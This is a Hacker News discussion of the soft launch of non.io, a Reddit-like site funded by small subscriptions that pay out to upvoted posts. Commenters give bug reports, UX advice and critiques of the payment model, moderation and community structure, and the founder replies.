Heya HN, I've been working on a reddit-like platform as my primary side project for the last few years. Doing a (very) soft launch today, mainly because I want to use it to encourage discussion of alternatives.
How non.io works:
1. Free to browse, paid to interact.
2. Minimum subscription is $2 (though you can choose more). I take $1 to run the servers, everything left gets split evenly between everything you upvote that month.
It's a simple model, but I hope it's a better one than the freemium model we've been relying on for the last few years. Fundamentally I feel like any ad-supported network doesn't have alignment between the needs of the users and the needs of the platform, which is what drove me to make this.
Because this is a soft launch, if you do subscribe I'd encourage you not to pay for the time being. I'm still testing the distribution algorithm for returning funds - you won't get overcharged or anything, but I just want to guarantee your funds are properly distributed at the end of the month. I've opened up free accounts to post and interact in the meantime. If you want to try a test account, use this login:
login: hackernews pw: helloworld
Edit: Loginless browsing here: https://non.io/#all
If you want to browse the code or the api:
I'd never recommend anyone take that approach, it was masochistic. Use react or something. It was a great learning experience, but writing everything in vanilla js does slow down dev time overall.
It sounds interesting, but I can't figure it out.
Happy to see it at github: go server, javascript frontside.
As a disclaimer, this is truly me just launching today, there's only 4 posts currently.
Great job launching something!
Ie, i get friction currently when looking at alternatives not in "the verse". Eg Tildes, i have the same concern.
This link should let you subscribe: https://non.io/admin/first-time-signup if you're really keen. That said, I've allowed all functionality on the free tier for the time being until I get things like that financials page complete.
I wrote up about reddit alternatives here https://non.io/reddit-has-platform-user-misalignment , and one of the things I call out is that what we need is a better fundamental model. Federated approaches may very well be that, and if one "wins", I think we'll end up in a better spot. I personally prefer a standard hosting architecture along with aligning user and platform demands, as this comes with some benefits over a federated architecture. I may be wrong here though - each definitely has pros and cons.
Good luck, I think it's a cool idea.
A couple of things I noticed immediately, that you may want to consider.
- landing page is not responsive, hard to read on Safari on iOS
- login screen in-app couldn’t be closed, had to navigate away to exit, perhaps a hidden icon somewhere?
- comment threads seemed to have the same issues on iOS as the landing page
- no way to post a link/URL? But I can upload an html file? Am I supposed to make the URL the description of the post?
- "audio" does not appear to have a file upload button (probably a bug)
- the text submission box sometimes does that glitchy thing some javascript'd text boxes do where everything I type comes out backwards until a refresh
Seems like a cool platform, glad I registered. I'm trying to post a video, and I think this would be better if the encoder worked in the background so I don't need to leave the page up. Console is also full of CORS errors.
Edit: after waiting for a while with "480" checked, got an error message with a frowny face file icon
Another edit: Seems posting of any kind is currently broken, at least as an unsubscribed account. Too bad, it's a nice idea with about the best timing it'll ever have, but this is a very soft launch.
Turned down the funding offers I got, and kicked things off in more of a slow-burn sideproject style after that.
When real money is involved on the internet the worst kinds of stuff results, and it takes a lot of effort to avoid it. How's that going to work?
None of this is to take away from your accomplishments here, by the way. The exact opposite in fact, you've got an interesting enough idea that it prompts interesting questions of the mechanics.
P.S. do you have any long-term plans to IPO this if it becomes successful? If not, some kind of guarantee that this platform is immune to enshittification would probably be very, very popular.
When I visit the root domain I shouldn't be greeted with a marketing splash page, you need interesting content in the user's face right away, entice their curiosity and drive the user to explore the site... even as a fellow developer, my first instinct is to abandon the page as soon as I'm greeted with the cliche startup marketing page. Consider the user experience when I visit reddit.com or news.ycombinator.com or any other link aggregation competitor. What you have now is a tech demo, not a platform. Sorry if that's a little harsh, but I mean well! Good luck!
So barely any of the money you put in goes to the artists you actually listen to.
Can I ask if you're using a password manager / what browser you're using?
Also for context, instead of testing password length/number of characters, I look for overall entropy in the formula of [alphabet length for char set used]^(number of letters in password). The one you described is well above the limit.
They have a system that rewards a monthly crypto amount based on the number of upvotes you received that surprisingly has an actual value that you can sell for. It’s largely led to a race to the bottom where comments and posts largely ignore any long form discussions or accuracy in favor of majority appeal.
Bug report: on latest Firefox with uBlock Origin, I have a strange UI bug on the root/home page: without any activity from cursor or otherwise, there is a dropdown that appears to show emails saved in my browser for form auto-fill. This is visible in the top left which seems to be in the same place where your registration sidebar is.
I have quite a number of thoughts and questions which I'll move to the platform. Great job.
But you have a chicken/egg issue there too, which is why coke when it was first getting started gave coke to various soda fountain places to bootstrap demand in the first place.
I'm using webcomponent form elements, the spec for which is relatively new. I suspect it isn't working well with auto-filled passwords from them.
Edit: You can browse without registering after all, here’s the link: https://non.io/#all (didn’t see it on the landing page or OP post).
> Languages
> Shell 100.0%
I admired the absolute chadliness of this decision - until i realised this was just a top-level super-repo.
If this wants to be a "reddit like" platform, it needs to be like reddit and actually present content on its homepage.
But I’m currently working on being a little more diplomatic, and too often I regret throwing in low-signal “this is a tech demo” type summaries next to my substantial remarks.
I hope this comes off as “fellow user working on this” and not a person in a glass house with rocks.
Maybe passkeys? Or better mobile support? Sorry to add on to comments from a few others — it does seem like an interesting model! Similar to FloatPlane, Patreon, etc. but in reverse.
FYI - you mentioned letting free accounts post for now but that doesn't seem to work.
when a sub-forum crosses a threshold of insensitivity, just remove it from search and let those fans direct link
sub forums can remain popularity contests where community decides if anything there is a good fit. theyre already echo chambers and nobody is aiming to solve that so just run it that way
The UI is nice though. Minimal dead space in the comments.
What will be interesting is how they are incentivised differently. Different people attach different relative value to fake internet points and less-fake currency points, so you'll get different behaviour from different sets of people.
I think many commenters have pointed out reasons why this model is not suited to widespread user adoption, but I just want to say that may not be a bad thing. Meme content moderation is not a big problem if your users are not the type to submit or upvote a lot of low effort memes in the first place. A paywall will inherently limit your user growth, but if the users you get end up being people who are happy to create and support high quality content, that seems pretty ideal to me (unless you are looking for maximal growth, VC level returns, and/or an IPO).
If there’s a mailing list or other way to get notified when you’re ready to do a full launch, I’d love to sign up for that!
How do you handle reposts and low effort content with this business model?
I.e. what prevents me from repackaging popular content from elsewhere and farming votes?
Which is why launching any social network is a dice roll. You need that initial momentum to propel it further, or some 'lucky break' to get it popular. Many social networks got popular accidentally, typically because some VIP joined the platform and everyone went to follow the VIP, increasing DAUs / MAUs which is the only metric social media networks care about.
In fact, make "upvotes" be zero-sum transfers from the user to another. They have a limited amount and their upvotes will mean something. If you have downvotes then I guess the person is willing to lose that amount, just so the other guy does also.
Here is the full tokenomics: https://community.qbix.com/t/preventing-spam-and-sybil-attac...
As others said, make the frontpage a contentpage. See if you can seed some creators to post there.
I think the ONLY value any of these these have is network effect. All those other things you listed are either irrelevant or come after the network effects kick in. The only other important thing is the visual/practical UX.
And this is the kind of moment that projects like this get a chance: struggling incumbent, #1 on HN, this is a great moment!
My 2c is that I’d stay flexible on the revenue model, even if you’re pretty sure you don’t want to do adds there are a variety of interesting variations on the paid model, there’s kinda left field stuff like Brave’s BAT thing (probably worth emailing their people for a fun chat either way) and lots of Patreon-style stuff.
I’d really nail the simple-sounding but critical stuff (and you’re well on your way!) before I got too attached to a revenue strategy.
I encourage the creator of Non.io to identify the key shortcomings of Reddit and improve upon them. Don’t just try to clone Reddit beyond the basic image/link board, otherwise you’ll just be playing their game. Change the game. There is a Folding Ideas video on this topic which has some great insights with respect to YouTube: https://youtu.be/r3snVCRo_bI
My original plan was to pay for ~100 users accounts and seed the site with content for a proper launch. Given what's happening today though, it felt at least pertinent to show off the current state and get some feedback.
The balance between splash page on landing / landing on content is a hard one, but I think you're right. I am worried though that without conveying the initial business model, it'll be harder for users to understand that this isn't a direct reddit clone.
Serious thank you for leading the way on high-value habits I’m still working on!
I've still got plenty of work to do on the UX of the site!
The content will come later; most of the Reddit alternatives I've looked at look godawful, yours is the only one I've liked. So many people get the compact and minimal comments look wrong.
How far are you willing to go to defend this? There's been lots of technical talk in this thread so far, but I'm curious on this portion.
So far I'm LOVING the UI. I actually think you should drop the payment part ASAP and just push for more users in the standard social media format.
I also think a staggered release of new "tags" is a fantastic idea, but needs to scale ASAP (until the site is ready for users to create their own hashtags/subreddits)
EDIT: After using this more, it's so exciting and fun to see something so new and fresh. It really feels like I'm back in 2010.
Also you should advertise that this is an open-source project on the landing page, as that may cause more people to be interested in trying it out.
* The website to be free
* The API to be cheap
* The ability to use a 3rd party app that does not track, advertise, or monetize you in any way
* VCs to continue to pour hundreds of millions of dollars to run the site and never ask for an ROI
Good luck kids
Post creation should be working now on free accounts. Thank you for the detailed reports of issues you faced!
Backend is in go.
Source is here: https://github.com/jjcm/nonio
A post getting 1000 upvotes earns $4. That's already quite a lot of upvotes, enough to get on the first page of a reasonably big sub. Posts on r/all (today, which may be abnormal) are at 10-50k, so would earn $40-$200.
$200 would be nice to have! But these don't seem like prizes that would motivate residents of first-world countries, considering that you have to have one of the most-upvoted posts on the whole site to win them.
You say that you've been working on this for 4 years, but there's no content here. Have you not been using it yourself for 4 years? Where is the content that you and your friends have been posting?
No information in the error feedback, just a red X.
As a side note, I'm tired of websites deciding that a password is not strong enough simply because it does not contain enough random subsclasses of basic ACSII characters.
Go and talk to your potential customers and I hope the App.net story gives you some inspiration.
1: >>4372985
2: >>13387723
I went to my profile, clicked on "view financials", but when I press "Change Subscription Amount" the page just freezes. Why won't you let me give you my money?
Having a look in the console... Every time I press the "Change Subscription Amount" button there is a 500 API error from https://api.non.io/stripe/subscription and this is printed: {error: 'no customer for the user'}
If you do ask for a few dollars a month you have to provide a ton of perceived value. That's despite the fact that they would spend it on snacks without hesitation.
> VCs to continue to pour hundreds of millions of dollars to run the site and never ask for an ROI
None of this needs to cost hundreds of millions of dollars.
you need to build momentum somehow
maybe summarise what your users need to understand in a sidebar or closeable top-bar?
But when faced with it here I couldn't help but recoil a bit, and I'm not sure why.
I entered my card details, and now it is stuck on a loading system where the "Subscribe" button used to be
Probs will be another month before I get the branch merged however.
Partly it's because Reddit has squandered its users' goodwill. I'd be willing to pay for Reddit if it was clear Reddit was going to work in my favor. Since right now it's doing its best to run off the mobile app I'm using, why on earth would I do that?
It's a bad choice to have all images in Google file format if you want your website to be accessible to as many people as possible. Not everybody is on Chrome browsers.
Why haven't you seeded your platform with high quality content before launching? Now it is a desert.
I assume self promotion for people and businesses is allowed and encouraged, since it costs money to post?
The monetization idea also feels like it won't scale - the more someone is active, the less their vote is going to mean. Seems like an odd incentive, as creators then will be targeting those users who pay for the site, but don't use it much.
Overall, this looks like a well-coded but half-baked idea of a site.
Wish you the best of luck with this. And I'll look into posting my stuff on there as well, as I said there really isn't any reason not to
Now I'm trying to make a post, but it similarly has gotten stuck as soon as I press the submit button.
(I figured out that I need to actually upload a picture, video etc and not just write a description. This was not clear and I got no feedback from the UI that this was the problem - instead it implied it was just waiting for something with the loading icon)
You should do none of this. It shouldn't be the websites concern if my account gets hacked - basic password requirements are fine, but anything that goes past a character count is just making the UX worse. The requirements increase friction, which you've already put at a high level due to requiring payment.
> no mobile view
Instand turn off. I don't get why these kind of platforms aren't "mobile first".
When submitting a post, why do I need to come up with a URL like non.io/example-i-made-up? If I leave that blank I would expect it to just assign a random or UUID URL.
IIRC, the get paid to post model can make users feel like they are working which can have negative consequences. Deal with that later... hopefully you can get traction/network effect.
The HTML upload option is... very interesting.
IMO the only good reason to have a marketing/business-case landing page is if the product itself hasn't been built yet. Once the product exists, move the marketing page over to /about
Maybe there could be an low-effort area where you don't get paid.
I get the site is targeting creators, but I also get the impression that it is about general discussions etc? As a user it feels weird to give equal money to a discussion as someones awesome multi-month project, especially since there will probably be more discussions than awesome multi-month projects.
I really like the lurk for free but pay to participate approach. Getting paid however feels like a possible distraction that might just overcomplicate things, both technical and moderation+incentives. I don't think most people would be doing it for the money (and for most people it would at best be pocket change anyway). Getting rid of ads is the killer-feature that hopefully builds a good community, I guess/hope.
Getting people to enter their credit cards is probably harder than the actual amount, so the appeal of getting the money back is still red in the balance-sheet for pocket-change amounts.
My biggest gripe is that payments kills anonymity (which some might see as a big thing).
The average "Reddit" business is pretty odd; they want:
* Paying subscribers _and_ advertising revenue
* Free content: posts & comments
* Free moderation: voting & ToS enforcement
* The ability to monopolize said content
* Contributors to continue to pour millions of man-hours to make content for the site and never ask for anything like ad-free viewing, an enjoyable user-experience, tooling, etc.
Social platforms present a difficult balance between the users, contributors, moderators, and business - all within a very hostile internet (in terms of security, spam, etc).
For payment to happen, users do demand significant value to be parted from their $. In Reddit's case, the 3rd party apps are strongly desired because the 1st party app does not meet their needs (users _pay_ for these apps!). Reddit doesn't want to compete on UX, as they're demonstrably bad at it; partially due to lack of skill and due to mismatched incentives.
It seems like they incorrectly assume that they own the community, rather than the other way around. Reddit's primary value is in the content they are _given_ in exchange for hosting & tools - both of which are have significant downward cost pressure (which _should_ trend towards free, given a large enough community).
Reddit is trying to switch their customers from users to advertisers in order to make a profit, which is difficult after years of _generally_ serving users. It is bait and switch at it's finest and most egregious.
It's not easy, and the value of an expert UX designer really shines when walking the tight-rope between informing and annoying your users.
Also, consider investing in reliable A/B testing infrastructure if you haven't already. One of the biggest mistakes I've seen is trying to grow a product while driving half-blind based on napkin sql queries as metrics. Understand who is using the site, how often, when they are experiencing errors, and which types of changes actually encourage growth KPIs - but be careful, loading up the site with 3rd party trackers and intrusive js will introduce bugs and kill site performance - another balancing act hehe.
I don't know what payment processor you're using but I have to assume it'd fall prey to the same issues that onlyfans and others had.
What about keeping objectively terrible content off the platform? I won't name it but we all know what I'm talking about.
I think spelling out API usage from the get-go would be a good idea.
This is a very bad user experience, for a main page to go directly to, what should be, http://non.io/about. Don't give me a long pamphlet explaining mundane details that I can't comprehend who would care about, let me see what it actually is, and test drive it, without having to know/type some magic url.
I suggest sitting someone new down, who isn't excited to be there, and have them type http://non.io, and carefully observe what happens.
If a lone dev would have made an app like Apollo for FB, they would be under 10,000 pages of litigation the next day
People don't use the FB app because its great. They would love a non-tracking version of the same service. It's just not allowed
Sounds like a recipe for disaster. At least it should be in a sub-path (/post/?), and probably include some sort of unique id.
I disagree on this point - I'm pretty sure all the big 3rd party apps at least have ads. The problem is fundamentally just that the 3rd party apps are a lot better than the official app, and have been for some time. If Reddit had made the official app better (which they've had _years_ to do) then significantly less people would care about any of this.
They also could have gone the Spotify route, which I think would have gone over significantly better - Keep the API as-is, but require a paid premium account login to use it. Functionally it's not even really a difference, but it means Reddit deals with all the details rather than the 3rd party apps. However, functionally the goal was to simply price the 3rd party apps out of existence, so that's probably why they didn't do this.
It's also pretty clear from the response that they never thought this through, which is hard to believe. They had to have it pointed out to them that tons of stuff currently uses the API which has no replacement, you'd think they'd have reviewed what currently uses the API before drastically changing it. Reddit has gotten significant value for free by having people write code against their API, that's code they didn't need to write themselves.
As patience of creators and curators begin to run more thin, today's information society will split into tiers of those who pay and get good information vs those who demand free and will splash around in the filth of the free information sewers. The filth being ads, spyware, malware, low quality content, spiritually harmful content, government propaganda and worse.
When the politicians arrive you will have a runaway success. Unfortunately politicians tend to be followed by more 'objectively terrible content'. Funny how that works.
Reproduce the Reddit API exactly such that these soon-to-be-defunct client apps can work with minimal changes (ideally, just a configurable root domain). Reach out to the client authors and see if they will enable your site. Maybe you'll capture some of those user communities.
a) seed itself with tons of j referring links. At the end of the day people come for the content not the platform.
b) target moderation groups and convince individual smaller communities to transport themselves wholesale. Go down the dark list and start marketing to each mod team one by one.
This is a solid call out. Part of me wants to keep things private in order to maintain the "user is the customer" alignment. One issue with going public is it then means shareholders become your primary customer, with your users becoming second tier. I'm not quite sure what the answer is.
This also brings me to the question of funding - on one hand, proper funding here would help drastically with launching, on the other hand it comes with expectations and requirements.
Part of the reason why I want paid users though is it means the site can be self-sustaining without that funding, if it can get past the network effect threshold.
Lots to think about.
But yes, it needs a new capability that is the hook.
That's what the objective of the site is. Viewing doesn't reward anything (whereas views do reward in the video you just linked). My hope as well is that for nonio, knowing you're contributing a share of your monthly pool will make people more conscientious about what they upvote, thus improving quality.
As many of you, I have a bunch of blockers installed in my web browser and I strip off the Strip code when I am opening non.io 'register' page. Unfortunately, it prevents me from registering.
I believe the code there is to build my profile and start using metrics/features about who I am. I am not sure if it is really necessary at that point.
Would you consider removing Stripe snippets on registering page?
ps. text box background colors look better when they are different than main page background colors (slightly darker or brighter)
I think i'd still like a "best we can do" implementation that supported Fedi and supported creators in this manner.
In theory I think this would encourage higher quality posts to attract those who upvote rarely.
... the product that exists.
> VCs to continue to pour hundreds of millions of dollars to run the site and never ask for an ROI
VCs are free to ask for an ROI.
They are not owed an ROI.
Only the kids think they are. Especially childish people who think people are owed money for a crap product just because they put money into a business before where the goal was growth, not necessarily profitability.
And I'm not trying to pile on, I'm just saying there's value to people in that fact.
Just charging $2 might be a huge improvement over reddit because it makes sock puppets cost too much to scale.
Paying out for upvotes, I fear will incentivize lowest-common-denominator content. If you go to a quality tech subreddit and sort by "Top" comments, they will mostly be memes. They won't be from an expert solving your very specific problem. And more generally, I worry it will reward that twitter-style, shrill political dunking, binary thinking, maximalism and in-group point scoring. This may be a recipe for an even more toxic r/politics.
Very interesting trying to puzzle out how a given incentive structure will play out in practice.
And, IMO, you should ignore (and possibly even actively flaunt) any of Reddit's TOS.
If he can get 50k paying users, he's a millionaire. If that means low effort meme posts, who are you to slap those dollars out of his hand?
The "intelligentsia" of the Internet need to get a grip on what people want; these sites are for entertainment not elucidation and discovery.
I use(d) Relay for Redit, paid a small ($5?, maybe) one time fee for the "Premium" version a few years ago and have never see an ad. You are correct in the sense that if you use the free version of Relay (and possibly others), you would have ads from the app, not Reddit, but if you're willing to pay a small amount, you can get rid of them.
# means fragment and that's kept local and not sent to the server unless client side Javascript sends it to the server. I would use an identifier that doesn't already mean something to the URL.
See the URL spec here: https://www.rfc-editor.org/rfc/rfc3986#section-3.5 We are using this in a lot of our projects, like https://github.com/Cyphrme/URLFormJS#query-parameters-fragme... (and https://github.com/Cyphrme/Path)
For an example where this is relevant: https://cyphr.me/ed25519_tool/ed.html#?msg_encoding=Text&msg...
This would incentivize creating communities that people would like to follow, not only for the content but also for the moderation.
Aiming to have mobile css in a couple weeks time. Apologies for the poor experience!
I love the idea of requring $ to subscribe, but expect that sharing $ based on upvotes will corrupt the system.
Where have you seen somebody say that they wouldn’t post without venture funding for a given platform?
The thing that I think a lot of people are missing about Reddit is that it's not a content aggregation site like HN or Digg or your site, Non.io; it's a community of communities.
I've seen so many reddit-likes which switch from 'subreddits' to hashtags, but that doesn't work for what makes Reddit great. On Reddit, you can create your own communities and control who is in them, set rules for them, moderate them how you want, and so on. For example, /r/AskHistorians has some extremely specific rules and moderation; /r/GirlGamers is a community of like-minded (typically female) individuals. /r/Trans is (in theory?) a safe place for the trans community to interact with one another. /r/BreakingMom is a place where mothers can vent without repercussions and non-mothers are not welcome to contribute content.
None of that is possible in this hashtag design. The #trans hashtag will be a shitshow of offensive, triggering, and deliberately abusive content, and there's nothing the trans community could do about that.
Toxic users on your platform will drive out anyone they don't like, and the only recourse users will have is to ask you (the admins/moderators) to ban those users - and now you have to make the decision of all of the content that is allowed on the site. Are you going to allow transphobic jokes on the site? If so, you're going to drive away trans people (and anyone with a sense of decency). If not, you're going to have to constantly be banning people from the whole site and not just part of it.
I think it's a cool site, but I think this software could be used to replace only one subreddit and not all of Reddit itself.
I could subscribe to a couple moderator's idea of "low effort", a few more for "spam" moderation, etc . Could even have "#racist" and "#woke" mods, whatever bubble you choose to subscribe to.
If the answer to any of these questions is no, then your product is irrelevant.
It's nothing personal. It's just that I'm sick and tired of centralized solutions running on somebody else's computers. At least this product makes its business model clear (a $2/month subscription fee for interacting).
But hey, I'm a guy who used to run phpBB forums on a Pentium 1 under my bed 20 years ago. Back then there were tons of those forums, most of us didn't ask users for any subscription money, there was no centralized gatekeeper, and everybody was happy. All of us used to curate our own small gardens and the model was sustainable at all levels.
Can I just get that back, with some federation protocols on top to allow multi-instance interactions? Seriously, everything else is pointless, it's a waste of time, and it doesn't make the digital world any better. I won't jump from a centralized platform to another, and probably nobody should.
Not sure the community is welcoming or even interested in the potential growth, tbh. But it exists.
I have a real disdain for tags for user generated content. Every site I have seen use tags I end up having to wade through a ton of spam or vaugly related content to whatever tag I am looking for. The only exception I can think of is Hashtags for twitter but that is due to the character limit.
I understand that people see tages as a solution to crossposting but I think people overlook the benefits of crossposting. Being able to have seperate conversations on AI art in an art community vs programming community is more useful to me than having a single post that both communities comment on.
One issue though is automatically resizing the iframe for the frontend. I have a protocol for iframes to request their own size, which this script leverages: https://html.non.io/nonio-embedded-page.js
I'll likely create a setting to automatically inject that script into html uploads.
- Nearly plug-n-play with the Reddit API
- Support for subreddits with mod management
What’s that story about the economist who was trying to concentrate but there were kids playing soccer below his window and being noisy, so he went out and offered them $1 each if they come back and played tomorrow. The next day he offered them 50c, then 25c, and after that 5c, and the kids got annoyed “we wouldn’t come here to play for a measly five cents!” and stormed off, and didn’t come back.
I’ve put many hours into Reddit and Stackoverflow for free, but if you take $24 from me for a year and then offer me $0.0193 for my efforts based on upvotes I might feel a bit cheesed off about it.
Being forced to face how insignificant I am feels likely to drive me away, free upvotes at least let me feel important and they cost nothing.
Or the people who knit clothes saying things along the lines of “I’ll do it for a genuine thank you, but $10 is an insult; if this is a transaction, that doesn’t begin to cover my costs let alone my time”.
Secondly, not sure if anyone has mentioned this before but in Safari on macOS there's something odd happening. On the page I see a small '1Password' popup and when I click it, it asks me to to unlock 1Password.
However I don't see any login form on the page and I don't see any other text input fields so I'm not sure why this would be.
I'm sure it's a perfectly innocent bug but it's probably something you want to address otherwise maybe it might put some people off.
See screenshots: https://imgur.com/a/3CcDFcg
Best of luck with the app!
Without all the free labor from moderators curating content for topics with different tastes and ideas about what the community should be, it's going to be a struggle to build a community.
I'm not sure it would work, there are just so many challenges, over and beyond the initial bootstrapping.
Do you mind sending me an email at j@jjcm.org? Would love to talk more.
I have some plans for 3rd party app revenue sharing I'd love your thoughts on. What I'm thinking is that with the $1/mo server fee I charge users, I'd carve out 30c of that as the "frontend fee", which I would distribute evenly between the frontends that user was using that month. If they were only using an app, I'd pay that app $0.30 for the month for that user. If they were using the app and the website, each would get $0.15 for the month.
That said, user expectations are very high these days. The site looks awful on a phone, and I completely lost interest after about 5 seconds of trying to read the contents. Given how easy to make a site responsive these days and how relatively simple the main page is, that was quite disappointing.
Still, I hope you keep working on improving it!
That puts an upper limit on how much of an "attention whore" you can reasonably be.
Same reason I buy albums that I love despite me already having Spotify—to give back to the creators.
If I wanted to recreate a subreddit on non.io, how would I do that? How would I enforce rules?
Reddit never really had this because all you could give was subscription time. Paying causes this mainstream focus and clickbaiting.
Maybe you feel the need to attract content generators to your platform but it will only create more mediocre content IMO.
What was so great about Reddit was that people created amazing content that they were passionate about, regardless of whether it paid well or not.
Do this anyway. You don't want to be paying out every cent immediately to people reposting things that otherwise warrant moderation.
I absolutely love the project though! Will check it out now.
Given the repeated destruction of public squares by corporations, there is zero reason to trust centralized social media. It's still a business, it exists in this psychopathic market system, and will still succumb to financialization. No matter who started it.
If a for-profit platform is providing value, it's because it's at the beginning of the enshittification cycle.
Ignore the shiny, people. Use your brain.
First off, I really like what you've done so far, this is fantastic and I dig the idea despite some of the potential payout exploits that you'll need to guard against.
My suggestion is to find the moderators who have wishlists of features that they want reddit to implement. Don't try and entice them onto your platform, just ask them for advice on what features the moderation tools should have. Implement those tools and ask for feedback. Places like AskHistorians, AskScience, gonewild, and other specialist subject subreddits will all have very specific requirements for their mod tools. If you can support those requirements, or at least make it so that it's easy for someone else to build those tools, then I think you'll have a headstart over others.
A couple of other items:
reddit has edited user's comments in the database before. Perhaps consider implementing public key signing of comments on the backend, such that once a comment is made, it can be verified. Hide the gory details from the users unless they're a power user and want to see that stuff. Being able to say "I wrote this and it hasn't been modified", well that's pretty powerful in my opinion.
Allow users to set their profiles such that when someone buys gold for them or otherwise rewards them, the money is instead donated to a charity of their choice. Said charity can be displayed in their profile, comments, or neither.
Talk to lots of people, watch how they use reddit and other sites that include moderation, learn from what they say. Mods are going to be an important customer for you, they manage the communities that will create content and draw people in.
Decide very early on what your personal values are and what the values of the site are. Not in a corporate useless bullshit kind of way, but instead to clearly state what people should expect. Decide what rules mods must follow vs those that are optional. Same for users. Transparency and clear open communication is something people are really missing right now.
Allow people to display the site in multiple different ways that suit them. For example I use ublock origin rules to display hackernews comments no wider than about 8 to 10 words. Some people like old.reddit.com, others hate it. Give people options and make it easy to switch between them.
Allow people to not see advertising if they don't want to, as long as those costs are covered via a subscription (which you seem to be doing, nice!)
If you haven't already, implement a rich text github markdown text entry widget.
Don't bait and switch.
I'm looking forward to seeing your progress, I hope you succeed and that I'm using your site in 5 years! Good luck!
EDIT: I also wanted to add, make your site as fast as hackernews. Can you load the text first, then the rest of the stuff, without reflowing and shifting content around? Speed keeps the site feeling snappy and doesn't "punish" people for clicking discussion links etc.
I think that might stem a lot of the potential abuse of the system to earn money, and it gives users a good feeling.
But at the end of the day the I am sure that for a large portion of people complaining they spent the majority of their video watching time watching YouTube. If it's not worth it to you to pay the equivalent of a big mac meal month to get rid of ads that's fine but don't act all morally superior to those that do.
Also, have you considered making it a foundation or non-profit as a business model? IMO the for-profit nature of Reddit is behind its troubles right now. You could pay yourself a handsome salary as the foundation's CEO while still keeping things pro-user.
Congrats on the launch.
I'm not saying it couldn't work but I don't think it would be as trivial as that.
I also like that subreddits were able to foster their own communities with different expectations and cultures. I feel like using tags you are more or less forced to have a single overall community vs many smaller ones.
Is this a real project or another collect-HN-users-IP-addresses scheme?
Note that when you vote, you upvote the tag itself. The vote within the tag determines its order when browsing the tag itself. So if something is tagged with #formula1 and has 483 upvotes for the tag, it will appear high in the #formula1 list view. If it's also tagged with #funny with 1 upvote, it will appear low in the #funny list despite the high votes on #formula1.
I’m obviously not targeting this at you but a business model likes this (paying fractions of a penny per upvote) is not likely to attract high quality content. In fact the opposite it incentives a quantity over quality approach (i.e. content has to be just good enough to get upvoted spending more effort is wasted)
You’d have to show thats a substantial part of Reddit’s traffic and therefore revenue, for it to actually be given.
What if you pump it up with VC money?
On mobile the site does not really work at all. Everything’s scrolled off the page and then way to small. When I zoom out.
I click sign up, nothing happens…
I guess I’ll have to go see if my laptop is charged up
I'd also give out upvotes more sparingly overall, since upvoting a post reduces the amount my previously upvoted posts will get paid.
is that how it works? I thought it was offering payments based on who creates posts or other community tools, not based on participation.
you are correct that 2 cents would be a pittance to me who doesn't even want to be paid to browse content. But if I and 1000 others gave that 2 cents to what we thought was quality content, that could make someone's day (not career per se. But $20 from random strangers feels good). At scale that's basically how YT/Twitch work, except they don't take money directly from us so much as time (for ads).
1: Within the financial page, I have a wallet of $844.33 -- Can you elaborate on what this is?
2: https://non.io/admin/financials appears accessible by all.
a: I selected $7 for my monthly subscription, however the financial page displays as $9.
b: I can't amend the amount nor can I cancel my subscription. The UI buttons are not working on Chromium & Firefox on FreeBSD.
c: What are all these other contributions?
3: Your support page leads me to GitHub, I don't own a GitHub account.
4: Text editor is so very broken: https://non.io/itsverybroken
Maybe maintenance mode is required? Good for the first stress test and I've learnt a lesson of maybe not paying for something that's not a final product ;) Although hope to see these improvements.
This approach acknowledges what the person is trying to accomplish, and lays out the obstacles before arriving at the conclusion, which then feels more natural. The recipient is able to follow your thinking and hopefully "arrive" at the conclusion along with you. When you start with the conclusion, you risk having a jarring moment where you start with something unexpected, and that can generate friction.
The first is an account setting for the user that allows them to hide all comments from people that arent part of any community that the post shows up in: https://github.com/kraftman/TenTags.io/blob/bc6f3046dda4815b...
The second is to allow filtering all of the comments by the communities the comments came from: https://github.com/kraftman/TenTags.io/blob/dev/api-cdn/view...
Just a idea to get some ideas from others -- this does not necessarily represent how art or artists feel or operate since I am not one and don't actually know.
Does that include comments that are upvoted? I mean, in some cases the submission itself is just a question and all the value is in the contribution from the users in the comments.
1. Hustlers and schemers, who want to get rich quick (usually the folks that like spam, blackhat SEO and 'hustle culture').
2. Folks in 3rd world countries who see this as a ticket out of poverty.
The former are a disaster for any good community site or service, and the latter have the potential to become the former, since 'spam the crap out of a service for the chance to make more money' becomes an enticing proposition. A big digital marketing forum shut down its revenue sharing because these folks flooded it with low quality crap, the likes of Medium and Quora have become hellholes due to the same incentives, and crypto based 'pay to earn' games have literally led to people starting up sweatshops to make money in them.
Having it also cost money to use the site will help a bit, but it'll also filter out many good users due to not wanting to spend money on a subscription, and create a mental calculus of "can I make more from my content than it'll cost me to sign up", which isn't ideal in itself.
> This means you’ll no longer have to add “Reddit” to your searches when you’re looking for thoughts from actual humans, not empty answers from websites just trying to get clicks.
https://www.theverge.com/2022/4/20/23034024/brave-search-fea...
> It turns out that almost 70% of polled readers add 'Reddit' to their search results at least sometimes.
https://www.androidauthority.com/reddit-web-search-queries-p...
I can’t say that it’s a substantial portion of Reddit’s traffic, of course. But clearly it’s not just a mrtranscendence idiosyncrasy.
As an example, look at most of Linux Distro's UX since you brought it up. They aren't meant for the layman the way Mac/Windows was. the deeply technical audience, for better or worse, puts up with a lot of UX issues for their tools. That doesn't work the same way for a general audience website or app.
----
But that's from the "why can't programmers art" side of the argument. Of course, that begs the question "why can't programmers find artists to work with them?"... well, there's a dozen different reasons. Culturally, historically, socially, and so on.
But to list the one big reason; there aren't stereotypes about programmers being short on cash and needing to commissions out programs after their full time job just to get by. (a few) programmers do all that just for their own self-fulfillment or for their own goals, with no expectations of a big payment most of the time. Because many are already financially comfortable.
The single conversation is still a big problem for me. I really like being able to have conversations within a specific community and get specific angles on a topic. I also like to look at a conversation on the same topic in different subreddits to see how different communities react. It's not to say that one way is inhertly better but more of a personal preference.
me too. and i'd guess at least half of people put 1! at the end to fulfil the requirements anyway.
I have some early designs that show a user setting that lets you allocate a % split between comments and posts, but for now I wanted to preserve the simplicity of the model.
Its really enough for ppl to start looking for alternatives.
And yea, password managers right now aren't working great with the webcomponent inputs. Thank you for the report!
If anything the most valuable members are the contributors. Stats on this very, but something like 1% of users ever make a submission, and only 10% or so comment.
- loginless browsing drops user into New which is full of garbage
- when I click popular, I still don't see any interesting content.
:-| - i think you have a chicken and egg problem. Why pay to post somewhere without readers? why read when there isn't any interesting content?
It may be a better model for something, but it's impossible for this to be used on a "reddit-like" site.
Reddit is a large community where many users are anonymous. A paid model means it will never be a large community and posters will never be anonymous.
